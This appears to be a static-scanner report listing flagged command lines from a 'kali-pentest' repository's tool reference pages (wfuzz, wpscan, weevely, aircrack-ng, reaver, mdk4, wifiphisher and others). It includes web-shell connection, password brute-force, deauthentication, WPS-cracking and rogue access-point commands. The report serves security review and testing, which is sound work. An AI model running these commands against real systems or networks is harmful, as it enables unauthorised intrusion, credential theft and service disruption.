# Scan specific modules only (XSS and SQL injection) wapiti -u http://target.com/ -m xss,sql -o /tmp/wapiti_report - Network accessline 65
wapiti -u http://target.com/ -m xss,sql -o /tmp/wapiti_report - Network accessline 67
# Authenticated scan with basic auth (use --auth-user/--auth-password; -a/--auth-cred is deprecated) wapiti -u http://target.com/ --auth-user admin --auth-password password123 --auth-method basic - Network accessline 68
wapiti -u http://target.com/ --auth-user admin --auth-password password123 --auth-method basic - Network accessline 70
# Restrict scope to a single folder wapiti -u http://target.com/app/ --scope folder -o /tmp/wapiti_report - Network accessline 71
wapiti -u http://target.com/app/ --scope folder -o /tmp/wapiti_report - Network accessline 73
# Scan through a proxy with JSON report wapiti -u http://target.com/ -p http://127.0.0.1:8080 -f json -o /tmp/wapiti_report.json - Network accessline 74
wapiti -u http://target.com/ -p http://127.0.0.1:8080 -f json -o /tmp/wapiti_report.json - Network accessline 76
# Exclude logout URL and limit crawl depth wapiti -u http://target.com/ -x "http://target.com/logout" --max-links-per-page 500 - Network accessline 77
wapiti -u http://target.com/ -x "http://target.com/logout" --max-links-per-page 500 - Network accessline 79
# Flush previous session and rescan with verbose output wapiti -u http://target.com/ --flush-session -v 2 -o /tmp/wapiti_report - Network accessline 80
wapiti -u http://target.com/ --flush-session -v 2 -o /tmp/wapiti_report - Network accessline 97
- [Wapiti Official Site](https://wapiti-scanner.github.io/) - Network accessline 98
- [Wapiti GitHub](https://github.com/wapiti-scanner/wapiti) - Network accessline 99
- [Kali wapiti](https://www.kali.org/tools/wapiti/)
kali-pentest/references/web/tools/websocat.md
- Network accessline 15
# Download static binary (no Rust toolchain needed) curl -sL https://github.com/vi/websocat/releases/latest/download/websocat.x86_64-unknown-linux-musl \ - Network accessline 16
curl -sL https://github.com/vi/websocat/releases/latest/download/websocat.x86_64-unknown-linux-musl \ - Network accessline 60
- [websocat GitHub](https://github.com/vi/websocat)
kali-pentest/references/web/tools/weevely.md
- Dangerous shell operationline 15
sudo apt install weevely - Network accessline 45
# Connect to the deployed agent weevely http://target.com/uploads/agent.php MyS3cretPass - Network accessline 46
weevely http://target.com/uploads/agent.php MyS3cretPass - Network accessline 99
- [Weevely3 GitHub](https://github.com/epinna/weevely3) - Network accessline 100
- [Kali Tools — weevely](https://www.kali.org/tools/weevely/)
kali-pentest/references/web/tools/wfuzz.md
- Network accessline 119
# Basic directory enumeration, filter 404 wfuzz -u http://target.com/FUZZ \ - Network accessline 120
wfuzz -u http://target.com/FUZZ \ - Network accessline 124
# Multi-threaded directory enumeration wfuzz -u http://target.com/FUZZ \ - Network accessline 125
wfuzz -u http://target.com/FUZZ \ - Network accessline 129
# Enumerate specific extension files (using FUZ2Z) wfuzz -u http://target.com/FUZZ.FUZ2Z \ - Network accessline 130
wfuzz -u http://target.com/FUZZ.FUZ2Z \ - Network accessline 139
# Discover hidden parameters wfuzz -u "http://target.com/page.php?FUZZ=test" \ - Network accessline 140
wfuzz -u "http://target.com/page.php?FUZZ=test" \ - Network accessline 144
# Parameter value fuzzing wfuzz -u "http://target.com/page.php?id=FUZZ" \ - Network accessline 145
wfuzz -u "http://target.com/page.php?id=FUZZ" \ - Network accessline 153
# Login brute-force wfuzz -u http://target.com/login.php \ - Network accessline 154
wfuzz -u http://target.com/login.php \ - Network accessline 162
# Credential brute-force (dual FUZZ: both username and password) wfuzz -u http://target.com/login.php \ - Network accessline 163
wfuzz -u http://target.com/login.php \ - Network accessline 174
wfuzz -u http://target.com/page.php \ - Network accessline 183
# Test X-Forwarded-For IP spoofing wfuzz -u http://target.com/admin \ - Network accessline 184
wfuzz -u http://target.com/admin \ - Network accessline 189
# Test Host Header injection wfuzz -u http://target.com/page.php \ - Network accessline 190
wfuzz -u http://target.com/page.php \ - Network accessline 199
# URL-encode payload wfuzz -u "http://target.com/page.php?path=FUZZ" \ - Network accessline 200
wfuzz -u "http://target.com/page.php?path=FUZZ" \ - Network accessline 204
# Double encoding (chained: urlencode applied twice, stacked) wfuzz -u "http://target.com/page.php?path=FUZZ" \ - Network accessline 205
wfuzz -u "http://target.com/page.php?path=FUZZ" \ - Network accessline 209
# Chained URL-then-base64 encoding (urlencode first, then base64 on top) wfuzz -u "http://target.com/page.php?data=FUZZ" \ - Network accessline 210
wfuzz -u "http://target.com/page.php?data=FUZZ" \ - Network accessline 214
# Base64 encoding wfuzz -u "http://target.com/page.php?data=FUZZ" \ - Network accessline 215
wfuzz -u "http://target.com/page.php?data=FUZZ" \ - Network accessline 223
# DNS-based subdomain brute-force: FUZZ the hostname in the URL # The Host header is derived automatically — no need to add -H here wfuzz -u http://FUZZ.target.com \ - Network accessline 224
# The Host header is derived automatically — no need to add -H here wfuzz -u http://FUZZ.target.com \ -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \ - Network accessline 225
wfuzz -u http://FUZZ.target.com \ - Network accessline 243
- [wfuzz GitHub](https://github.com/xmendez/wfuzz) - Network accessline 244
- [wfuzz Documentation](https://wfuzz.readthedocs.io/)
kali-pentest/references/web/tools/wpscan.md
- Dangerous shell operationline 15
sudo apt install wpscan - Network accessline 36
| `--usernames LIST` | List of usernames to use during the password attack | | `--api-token TOKEN` | WPScan API Token to display vulnerability data | | `--proxy URL` | Supported protocols depend on the cURL installed | - Network accessline 37
| `--api-token TOKEN` | WPScan API Token to display vulnerability data | | `--proxy URL` | Supported protocols depend on the cURL installed | | `-o FILE` | Output file | - Network accessline 38
| `--proxy URL` | Supported protocols depend on the cURL installed | - Network accessline 45
# Basic scan wpscan --url http://target.com - Network accessline 46
wpscan --url http://target.com - Network accessline 48
# Enumerate everything (users + plugins + themes) wpscan --url http://target.com --enumerate u,p,t - Network accessline 49
wpscan --url http://target.com --enumerate u,p,t - Network accessline 51
# Enumerate vulnerable plugins only (reduce noise) wpscan --url http://target.com --enumerate vp - Network accessline 52
wpscan --url http://target.com --enumerate vp - Network accessline 54
# Passive mode (reduce request volume) wpscan --url http://target.com --enumerate p --detection-mode passive - Network accessline 55
wpscan --url http://target.com --enumerate p --detection-mode passive - Network accessline 57
# Password brute-force (need to enumerate usernames first) wpscan --url http://target.com --usernames admin --passwords /usr/share/wordlists/rockyou.txt - Network accessline 58
wpscan --url http://target.com --usernames admin --passwords /usr/share/wordlists/rockyou.txt - Network accessline 60
# Use API Token (recommended; improves vulnerability coverage) wpscan --url http://target.com --api-token YOUR_TOKEN --enumerate vp - Network accessline 61
wpscan --url http://target.com --api-token YOUR_TOKEN --enumerate vp - Network accessline 63
# Output JSON report wpscan --url http://target.com --enumerate u,vp --format json -o /tmp/wpscan_result.json - Network accessline 64
wpscan --url http://target.com --enumerate u,vp --format json -o /tmp/wpscan_result.json - Network accessline 67
## Notes & Tips 1. Free API Token allows 25 API requests per day; recommended to register at: https://wpscan.com/register — without a token, vulnerability coverage is significantly reduced. - Network accessline 68
1. Free API Token allows 25 API requests per day; recommended to register at: https://wpscan.com/register — without a token, vulnerability coverage is significantly reduced. - Network accessline 78
- [WPScan GitHub](https://github.com/wpscanteam/wpscan) - Network accessline 79
- [WPScan Vulnerability Database & API](https://wpscan.com/)
kali-pentest/references/web/tools/xsstrike.md
- Dangerous shell operationline 15
sudo apt install xsstrike - Network accessline 15
sudo apt install xsstrike # Or from GitHub: git clone https://github.com/s0md3v/XSStrike.git - Network accessline 16
# Or from GitHub: git clone https://github.com/s0md3v/XSStrike.git cd XSStrike && pip3 install -r requirements.txt - Network accessline 17
git clone https://github.com/s0md3v/XSStrike.git - Network accessline 40
# Test a single GET parameter python3 xsstrike.py -u "http://example.com/search?q=test" - Network accessline 41
python3 xsstrike.py -u "http://example.com/search?q=test" - Network accessline 43
# POST request python3 xsstrike.py -u "http://example.com/comment" --data "body=test&submit=1" - Network accessline 44
python3 xsstrike.py -u "http://example.com/comment" --data "body=test&submit=1" - Network accessline 46
# Crawl the entire site and test all parameters python3 xsstrike.py -u "http://example.com" --crawl -l 3 - Network accessline 47
python3 xsstrike.py -u "http://example.com" --crawl -l 3 - Network accessline 49
# Blind XSS (payload callbacks to an external server) python3 xsstrike.py -u "http://example.com/contact" --blind - Network accessline 50
python3 xsstrike.py -u "http://example.com/contact" --blind - Network accessline 52
# Route through Burp Suite proxy (configure proxy URL in core/config.py first) python3 xsstrike.py -u "http://example.com/search?q=test" --proxy - Network accessline 53
python3 xsstrike.py -u "http://example.com/search?q=test" --proxy - Network accessline 55
# Add authentication cookie python3 xsstrike.py -u "http://example.com/profile?id=1" --headers '{"Cookie": "session=abc123"}' - Network accessline 56
python3 xsstrike.py -u "http://example.com/profile?id=1" --headers '{"Cookie": "session=abc123"}' - Network accessline 71
- [XSStrike (GitHub)](https://github.com/s0md3v/XSStrike) - Network accessline 72
- [Kali xsstrike](https://www.kali.org/tools/xsstrike/)
kali-pentest/references/web/tools/zaproxy.md
- Dangerous shell operationline 15
sudo apt update - Dangerous shell operationline 16
sudo apt install zaproxy - Network accessline 59
# Quick scan and save HTML output zaproxy -cmd \ -quickurl https://target.com \ - Network accessline 60
zaproxy -cmd -quickurl https://target.com - Network accessline 61
-quickurl https://target.com \ - Network accessline 70
# Confirm the API is reachable curl "http://127.0.0.1:8080/JSON/core/view/version/" - Network accessline 71
curl "http://127.0.0.1:8080/JSON/core/view/version/" - Network accessline 84
# Passive baseline scan: suitable for CI/CD and production-safe checks docker run -v "$(pwd)":/zap/wrk/:rw -t ghcr.io/zaproxy/zaproxy:stable \ zap-baseline.py -t https://target.com -r zap-baseline.html -J zap-baseline.json - Network accessline 85
docker run -v "$(pwd)":/zap/wrk/:rw -t ghcr.io/zaproxy/zaproxy:stable zap-baseline.py -t https://target.com -r zap-baseline.html -J zap-baseline.json - Network accessline 86
zap-baseline.py -t https://target.com -r zap-baseline.html -J zap-baseline.json - Network accessline 88
# Full scan: includes active scanning; use only with explicit authorization docker run -v "$(pwd)":/zap/wrk/:rw -t ghcr.io/zaproxy/zaproxy:stable \ zap-full-scan.py -t https://target.com -r zap-full.html -J zap-full.json - Network accessline 89
docker run -v "$(pwd)":/zap/wrk/:rw -t ghcr.io/zaproxy/zaproxy:stable zap-full-scan.py -t https://target.com -r zap-full.html -J zap-full.json - Network accessline 90
zap-full-scan.py -t https://target.com -r zap-full.html -J zap-full.json - Network accessline 92
# API scan from an OpenAPI definition docker run -v "$(pwd)":/zap/wrk/:rw -t ghcr.io/zaproxy/zaproxy:stable \ zap-api-scan.py -t https://target.com/openapi.json -f openapi -r zap-api.html -J zap-api.json - Network accessline 93
docker run -v "$(pwd)":/zap/wrk/:rw -t ghcr.io/zaproxy/zaproxy:stable zap-api-scan.py -t https://target.com/openapi.json -f openapi -r zap-api.html -J zap-api.json - Network accessline 94
zap-api-scan.py -t https://target.com/openapi.json -f openapi -r zap-api.html -J zap-api.json - Network accessline 96
# API scan against GraphQL endpoint docker run -v "$(pwd)":/zap/wrk/:rw -t ghcr.io/zaproxy/zaproxy:stable \ zap-api-scan.py -t https://target.com/graphql -f graphql -r zap-graphql.html -J zap-graphql.json - Network accessline 97
docker run -v "$(pwd)":/zap/wrk/:rw -t ghcr.io/zaproxy/zaproxy:stable zap-api-scan.py -t https://target.com/graphql -f graphql -r zap-graphql.html -J zap-graphql.json - Network accessline 98
zap-api-scan.py -t https://target.com/graphql -f graphql -r zap-graphql.html -J zap-graphql.json - Network accessline 110
- name: target urls: - https://target.com - Network accessline 111
urls: - https://target.com jobs: - Network accessline 112
- https://target.com - Network accessline 141
- [ZAP Command Line](https://www.zaproxy.org/docs/desktop/cmdline/) - Network accessline 142
- [ZAP Docker User Guide](https://www.zaproxy.org/docs/docker/about/) - Network accessline 143
- [ZAP Baseline Scan](https://www.zaproxy.org/docs/docker/baseline-scan/) - Network accessline 144
- [ZAP Full Scan](https://www.zaproxy.org/docs/docker/full-scan/) - Network accessline 145
- [ZAP API Scan](https://www.zaproxy.org/docs/docker/api-scan/) - Network accessline 146
- [ZAP Kali Package](https://www.kali.org/tools/zaproxy/)
kali-pentest/references/wireless/README.md
kali-pentest/references/wireless/tools/airbase-ng.md
- Dangerous shell operationline 15
sudo apt install aircrack-ng - Dangerous shell operationline 45
sudo airbase-ng -e "FreeWiFi" -c 6 wlan0mon - Dangerous shell operationline 50
sudo ifconfig at0 192.168.99.1 netmask 255.255.255.0 up - Dangerous shell operationline 57
sudo airbase-ng -e "TargetWiFi" -c 6 wlan0mon & - Dangerous shell operationline 60
sudo ifconfig at0 192.168.99.1 netmask 255.255.255.0 up - Dangerous shell operationline 72
sudo dnsmasq -C /tmp/dnsmasq.conf - Dangerous shell operationline 75
sudo sysctl net.ipv4.ip_forward=1 - Dangerous shell operationline 76
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE - Dangerous shell operationline 83
sudo airbase-ng -P -c 6 wlan0mon - Dangerous shell operationline 86
sudo airbase-ng -P -e "HotSpot" -c 6 wlan0mon - Network accessline 100
- [airbase-ng Documentation](https://www.aircrack-ng.org/doku.php?id=airbase-ng) - Network accessline 101
- [Aircrack-ng Documentation](https://www.aircrack-ng.org/documentation.html)
kali-pentest/references/wireless/tools/aircrack-ng.md
- Dangerous shell operationline 15
sudo apt install aircrack-ng - Dangerous shell operationline 106
sudo airmon-ng check kill - Dangerous shell operationline 107
sudo airmon-ng start wlan0 - Dangerous shell operationline 110
sudo airodump-ng wlan0mon - Dangerous shell operationline 114
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w /tmp/target wlan0mon - Dangerous shell operationline 117
sudo aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF wlan0mon - Network accessline 135
- [aircrack-ng Documentation](https://www.aircrack-ng.org/doku.php?id=aircrack-ng) - Network accessline 136
- [Aircrack-ng Documentation](https://www.aircrack-ng.org/documentation.html) - Network accessline 137
- [aircrack-ng (GitHub)](https://github.com/aircrack-ng/aircrack-ng)
kali-pentest/references/wireless/tools/aireplay-ng.md
- Dangerous shell operationline 15
sudo apt install aircrack-ng - Dangerous shell operationline 18
sudo aireplay-ng --test wlan0mon - Dangerous shell operationline 69
sudo aireplay-ng --test wlan0mon - Dangerous shell operationline 72
sudo aireplay-ng --test -b AA:BB:CC:DD:EE:FF wlan0mon - Dangerous shell operationline 79
sudo aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF wlan0mon - Dangerous shell operationline 82
sudo aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon - Dangerous shell operationline 85
sudo aireplay-ng -0 0 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon - Dangerous shell operationline 92
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w /tmp/handshake wlan0mon - Dangerous shell operationline 95
sudo aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF wlan0mon - Dangerous shell operationline 105
sudo aireplay-ng -1 0 -e TargetSSID -a AA:BB:CC:DD:EE:FF -h YY:YY:YY:YY:YY:YY wlan0mon - Dangerous shell operationline 110
sudo aireplay-ng -3 -b AA:BB:CC:DD:EE:FF -h YY:YY:YY:YY:YY:YY wlan0mon - Dangerous shell operationline 117
sudo aireplay-ng -1 0 -e "MyNetwork" -a AA:BB:CC:DD:EE:FF -h YY:YY:YY:YY:YY:YY wlan0mon - Dangerous shell operationline 120
sudo aireplay-ng -1 30 -e "MyNetwork" -a AA:BB:CC:DD:EE:FF -h YY:YY:YY:YY:YY:YY wlan0mon - Network accessline 136
- [aireplay-ng Documentation](https://www.aircrack-ng.org/doku.php?id=aireplay-ng) - Network accessline 137
- [Aircrack-ng Documentation](https://www.aircrack-ng.org/documentation.html)
kali-pentest/references/wireless/tools/airgeddon.md
kali-pentest/references/wireless/tools/airmon-ng.md
- Dangerous shell operationline 15
sudo apt install aircrack-ng - Dangerous shell operationline 38
sudo airmon-ng check - Dangerous shell operationline 41
sudo airmon-ng check kill - Dangerous shell operationline 44
sudo airmon-ng start wlan0 - Dangerous shell operationline 53
sudo airmon-ng start wlan0 6 - Dangerous shell operationline 56
sudo airmon-ng start wlan0 36 - Dangerous shell operationline 63
sudo airmon-ng stop wlan0mon - Dangerous shell operationline 66
sudo systemctl restart NetworkManager - Dangerous shell operationline 73
sudo airmon-ng check kill - Dangerous shell operationline 76
sudo airmon-ng start wlan0 - Dangerous shell operationline 79
sudo airodump-ng wlan0mon - Dangerous shell operationline 82
sudo airmon-ng stop wlan0mon - Dangerous shell operationline 83
sudo systemctl restart NetworkManager - Network accessline 99
- [airmon-ng Documentation](https://www.aircrack-ng.org/doku.php?id=airmon-ng) - Network accessline 100
- [Aircrack-ng Documentation](https://www.aircrack-ng.org/documentation.html)
kali-pentest/references/wireless/tools/airodump-ng.md
- Dangerous shell operationline 15
sudo apt install aircrack-ng - Dangerous shell operationline 75
sudo airodump-ng wlan0mon - Dangerous shell operationline 78
sudo airodump-ng --band a wlan0mon - Dangerous shell operationline 81
sudo airodump-ng --band abg wlan0mon - Dangerous shell operationline 89
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w /tmp/capture wlan0mon - Dangerous shell operationline 102
sudo airodump-ng -a wlan0mon - Dangerous shell operationline 105
sudo airodump-ng --wps wlan0mon - Dangerous shell operationline 112
sudo airodump-ng --manufacturer wlan0mon - Dangerous shell operationline 119
sudo airodump-ng -r /tmp/capture-01.cap - Network accessline 135
- [airodump-ng Documentation](https://www.aircrack-ng.org/doku.php?id=airodump-ng) - Network accessline 136
- [Aircrack-ng Documentation](https://www.aircrack-ng.org/documentation.html)
kali-pentest/references/wireless/tools/asleap.md
- Dangerous shell operationline 22
sudo apt install asleap - Network accessline 24
# Or build from source git clone https://github.com/joswr1ght/asleap.git - Network accessline 25
git clone https://github.com/joswr1ght/asleap.git - Network accessline 115
- [asleap (GitHub)](https://github.com/joswr1ght/asleap) - Network accessline 116
- [Kali Tools - asleap](https://www.kali.org/tools/asleap/)
kali-pentest/references/wireless/tools/blueranger.md
- Network accessline 43
- [Kali blueranger](https://www.kali.org/tools/blueranger/)
kali-pentest/references/wireless/tools/bluesnarfer.md
- Network accessline 58
- [Kali bluesnarfer](https://www.kali.org/tools/bluesnarfer/)
kali-pentest/references/wireless/tools/btscanner.md
- Network accessline 47
- [Kali btscanner](https://www.kali.org/tools/btscanner/)
kali-pentest/references/wireless/tools/bully.md
kali-pentest/references/wireless/tools/cowpatty.md
kali-pentest/references/wireless/tools/crackle.md
kali-pentest/references/wireless/tools/eaphammer.md
- Dangerous shell operationline 15
sudo apt install eaphammer - Network accessline 17
git clone https://github.com/s0lst1c3/eaphammer.git - Dangerous shell operationline 19
sudo ./kali-setup - Dangerous shell operationline 45
sudo eaphammer --interface wlan0 --essid "CorpWiFi" --channel 6 \ - Dangerous shell operationline 53
sudo eaphammer --interface wlan0 --essid "CorpWiFi" --channel 6 \ - Dangerous shell operationline 61
sudo eaphammer --interface wlan0 --essid "CorpWiFi" --channel 6 \ - Dangerous shell operationline 69
sudo eaphammer --interface wlan0 --auth wpa-eap --creds --known-beacons - Dangerous shell operationline 72
sudo eaphammer --interface wlan0 --auth wpa-eap --creds \ - Network accessline 88
- [eaphammer (GitHub)](https://github.com/s0lst1c3/eaphammer) - Network accessline 89
- [eaphammer — Kali Tools](https://www.kali.org/tools/eaphammer/)
kali-pentest/references/wireless/tools/fluxion.md
kali-pentest/references/wireless/tools/gatttool.md
- Network accessline 61
- [gatttool Debian man page](https://manpages.debian.org/unstable/bluez/gatttool.1.en.html)
kali-pentest/references/wireless/tools/hcitool.md
- Network accessline 66
- [hcitool Debian man page](https://manpages.debian.org/unstable/bluez/hcitool.1.en.html)
kali-pentest/references/wireless/tools/hcxtools.md
kali-pentest/references/wireless/tools/hostapd-mana.md
- Dangerous shell operationline 15
sudo apt install hostapd-mana - Dangerous shell operationline 57
sudo hostapd-mana /tmp/mana-open.conf - Dangerous shell operationline 76
sudo hostapd-mana /tmp/mana-wpa.conf - Dangerous shell operationline 99
sudo hostapd-mana /tmp/mana-eap.conf - Network accessline 114
- [hostapd-mana (GitHub)](https://github.com/sensepost/hostapd-mana) - Network accessline 115
- [hostapd-mana — Kali Tools](https://www.kali.org/tools/hostapd-mana/)
kali-pentest/references/wireless/tools/kismet.md
- Dangerous shell operationline 15
sudo apt install kismet - Dangerous shell operationline 18
sudo apt install build-essential git libwebsockets-dev pkg-config \ - Network accessline 22
libsensors4-dev libusb-1.0-0-dev python3 python3-setuptools python3-protobuf \ python3-requests python3-numpy python3-serial python3-usb python3-paho-mqtt git clone https://github.com/kismetwireless/kismet.git - Network accessline 23
python3-requests python3-numpy python3-serial python3-usb python3-paho-mqtt git clone https://github.com/kismetwireless/kismet.git cd kismet - Network accessline 24
git clone https://github.com/kismetwireless/kismet.git - Dangerous shell operationline 28
sudo make install - Dangerous shell operationline 66
sudo kismet -c wlan0 - Dangerous shell operationline 69
sudo kismet -c wlan0:name=wifi,type=linuxwifi - Dangerous shell operationline 72
sudo kismet --no-ncurses -c wlan0 & - Network accessline 74
# Access Web UI: http://localhost:2501 - Dangerous shell operationline 82
sudo kismet -c wlan0 -c wlan1 - Dangerous shell operationline 85
sudo kismet -c wlan0:channels="1,6,11" -c wlan1:channels="36,40,44,48" - Dangerous shell operationline 92
sudo apt install gpsd - Dangerous shell operationline 93
sudo gpsd /dev/ttyUSB0 -F /var/run/gpsd.sock - Dangerous shell operationline 96
sudo kismet -c wlan0 - Dangerous shell operationline 105
sudo kismet -c wlan0 --no-ncurses - Network accessline 118
# Kismet provides a full REST API # Get all device list curl -u kismet:password http://localhost:2501/devices/all_devices.json | jq . - Network accessline 119
# Get all device list curl -u kismet:password http://localhost:2501/devices/all_devices.json | jq . # Note: In newer Kismet versions, this endpoint may require POST with JSON body: - Network accessline 120
curl -u kismet:password http://localhost:2501/devices/all_devices.json | jq . - Network accessline 122
# curl -u kismet:password -X POST http://localhost:2501/devices/all_devices.json -d '{"fields":["kismet.device.base.macaddr","kismet.device.base.name"]}' | jq . - Network accessline 124
# Get information about a specific device curl -u kismet:password http://localhost:2501/devices/by-mac/AA:BB:CC:DD:EE:FF/device.json - Network accessline 125
curl -u kismet:password http://localhost:2501/devices/by-mac/AA:BB:CC:DD:EE:FF/device.json - Network accessline 128
# Use websocat (install: cargo install websocat) or a browser: # websocat -n ws://kismet:password@localhost:2501/eventbus/events.ws # Note: plain curl http:// cannot properly connect to a WebSocket stream endpoint - Network accessline 130
# Note: plain curl http:// cannot properly connect to a WebSocket stream endpoint - Network accessline 165
- [Kismet Official Site](https://www.kismetwireless.net/) - Network accessline 166
- [Kismet (GitHub)](https://github.com/kismetwireless/kismet) - Network accessline 167
- [Kismet Documentation](https://www.kismetwireless.net/docs/readme/)
kali-pentest/references/wireless/tools/mdk4.md
- Dangerous shell operationline 15
sudo apt install mdk4 - Dangerous shell operationline 52
sudo mdk4 wlan0mon b - Dangerous shell operationline 55
sudo mdk4 wlan0mon b -c 6 -n "FakeNetwork" - Dangerous shell operationline 58
sudo mdk4 wlan0mon b -f /tmp/ssid_list.txt -c 6 - Dangerous shell operationline 65
sudo mdk4 wlan0mon d -c 6 -t AA:BB:CC:DD:EE:FF - Dangerous shell operationline 68
sudo mdk4 wlan0mon d -c 6 -t AA:BB:CC:DD:EE:FF -s 50 - Dangerous shell operationline 75
sudo mdk4 wlan0mon a -t AA:BB:CC:DD:EE:FF -m - Dangerous shell operationline 78
sudo mdk4 wlan0mon a -t AA:BB:CC:DD:EE:FF -c 6 - Dangerous shell operationline 85
sudo mdk4 wlan0mon e -t AA:BB:CC:DD:EE:FF - Dangerous shell operationline 92
sudo mdk4 wlan0mon f -t AA:BB:CC:DD:EE:FF -c 6 - Network accessline 107
- [mdk4 (GitHub)](https://github.com/aircrack-ng/mdk4) - Network accessline 108
- [mdk4 — Kali Tools](https://www.kali.org/tools/mdk4/)
kali-pentest/references/wireless/tools/pixiewps.md
- Dangerous shell operationline 15
sudo apt install pixiewps - Dangerous shell operationline 38
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -K -vv - Dangerous shell operationline 45
sudo bully wlan0mon -b AA:BB:CC:DD:EE:FF -d -v 3 - Network accessline 76
- [pixiewps (GitHub)](https://github.com/wiire-a/pixiewps) - Network accessline 77
- [pixiewps — Kali Tools](https://www.kali.org/tools/pixiewps/)
kali-pentest/references/wireless/tools/reaver.md
- Dangerous shell operationline 15
sudo apt install reaver - Dangerous shell operationline 52
sudo wash -i wlan0mon - Dangerous shell operationline 55
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv - Dangerous shell operationline 58
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -c 6 -vv - Dangerous shell operationline 65
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -K -vv - Dangerous shell operationline 68
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -c 6 -K -vv - Dangerous shell operationline 75
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -d 5 -vv - Dangerous shell operationline 78
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -l 300 -vv - Dangerous shell operationline 81
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -L -vv - Dangerous shell operationline 84
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -S -vv - Dangerous shell operationline 91
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -p 12340000 -vv - Dangerous shell operationline 96
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv - Network accessline 113
- [reaver-wps-fork-t6x (GitHub, Kali version)](https://github.com/t6x/reaver-wps-fork-t6x) - Network accessline 114
- [Kali reaver](https://www.kali.org/tools/reaver/)
kali-pentest/references/wireless/tools/sdptool.md
- Network accessline 58
- [sdptool Debian man page](https://manpages.debian.org/unstable/bluez/sdptool.1.en.html)
kali-pentest/references/wireless/tools/wifiphisher.md
- Dangerous shell operationline 15
sudo apt install wifiphisher - Network accessline 17
git clone https://github.com/wifiphisher/wifiphisher.git - Dangerous shell operationline 19
sudo python3 setup.py install - Dangerous shell operationline 66
sudo wifiphisher - Dangerous shell operationline 73
sudo wifiphisher - Dangerous shell operationline 76
sudo wifiphisher -p firmware-upgrade - Dangerous shell operationline 83
sudo wifiphisher -e "TargetWiFi" -p firmware-upgrade - Dangerous shell operationline 86
sudo wifiphisher -i wlan0 -e "TargetWiFi" -p oauth-login - Dangerous shell operationline 93
sudo wifiphisher -eI wlan0 -aI wlan1 -e "TargetWiFi" -p firmware-upgrade - Dangerous shell operationline 100
sudo wifiphisher -e "TargetWiFi" -p firmware-upgrade \ - Network accessline 118
- [Wifiphisher (GitHub)](https://github.com/wifiphisher/wifiphisher) - Network accessline 119
- [Wifiphisher Documentation](https://wifiphisher.readthedocs.io/en/latest/)
kali-pentest/references/wireless/tools/wifipumpkin3.md
- Dangerous shell operationline 25
sudo apt install wifipumpkin3 - Network accessline 27
# Or install from source git clone https://github.com/P0cL4bs/wifipumpkin3.git - Network accessline 28
git clone https://github.com/P0cL4bs/wifipumpkin3.git - Dangerous shell operationline 30
sudo python3 setup.py install - Dangerous shell operationline 57
sudo wifipumpkin3 -i wlan0 - Dangerous shell operationline 60
sudo wifipumpkin3 -i wlan0 -p setup.pulp - Dangerous shell operationline 67
sudo wifipumpkin3 -i wlan0 - Dangerous shell operationline 80
sudo wifipumpkin3 -i wlan0 -x "set essid TestAP; set proxy pumpkinproxy; start" - Dangerous shell operationline 87
3. The interface must not be managed by NetworkManager; stop it with `sudo systemctl stop NetworkManager` or exclude the interface - Network accessline 97
- [wifipumpkin3 (GitHub)](https://github.com/P0cL4bs/wifipumpkin3) - Network accessline 98
- [Kali Tools - wifipumpkin3](https://www.kali.org/tools/wifipumpkin3/)
kali-pentest/references/wireless/tools/wifite.md
- Dangerous shell operationline 15
sudo apt install wifite - Network accessline 17
# Install the latest version from GitHub (wifite2) git clone https://github.com/derv82/wifite2.git - Network accessline 18
git clone https://github.com/derv82/wifite2.git - Dangerous shell operationline 20
sudo pip3 install . # setup.py install is deprecated; use pip instead - Dangerous shell operationline 24
sudo apt install aircrack-ng reaver bully hashcat hcxdumptool hcxtools - Dangerous shell operationline 56
sudo wifite - Dangerous shell operationline 59
sudo wifite --kill - Dangerous shell operationline 62
sudo wifite -i wlan0 - Dangerous shell operationline 69
sudo wifite -pow -50 --kill - Dangerous shell operationline 72
sudo wifite --clients-only --kill - Dangerous shell operationline 75
sudo wifite -c 6 --kill - Dangerous shell operationline 78
sudo wifite -first 1 --kill - Dangerous shell operationline 85
sudo wifite --wps-only --kill - Dangerous shell operationline 88
sudo wifite --wpa --skip-crack --kill - Dangerous shell operationline 91
sudo wifite --pmkid --kill - Dangerous shell operationline 94
sudo wifite --wpa --dict /usr/share/wordlists/rockyou.txt --kill - Dangerous shell operationline 114
sudo wifite --random-mac --kill - Network accessline 130
- [Wifite2 (GitHub)](https://github.com/derv82/wifite2)
How the signals fit together
Facts from a static read of the files at the pinned commit. They describe what the code does, not why.
Signal confidence: 500 facts
- Network access in prose of documentationkali-pentest-zh/references/cloud-native/README.md:101Low confidence
- Network access in prose of documentationkali-pentest-zh/references/cloud-native/README.md:102Low confidence
- Network access in prose of documentationkali-pentest-zh/references/cloud-native/README.md:103Low confidence
- Network access in prose of documentationkali-pentest-zh/references/cloud-native/README.md:104Low confidence
- Dangerous shell operation in code of documentationkali-pentest-zh/references/cloud-native/tools/azurehound.md:15Low confidence
- Network access in code of documentationkali-pentest-zh/references/cloud-native/tools/azurehound.md:21Low confidence
- Dangerous shell operation in code of documentationkali-pentest-zh/references/cloud-native/tools/azurehound.md:24Low confidence
- Network access in code of documentationkali-pentest-zh/references/cloud-native/tools/azurehound.md:100Low confidence
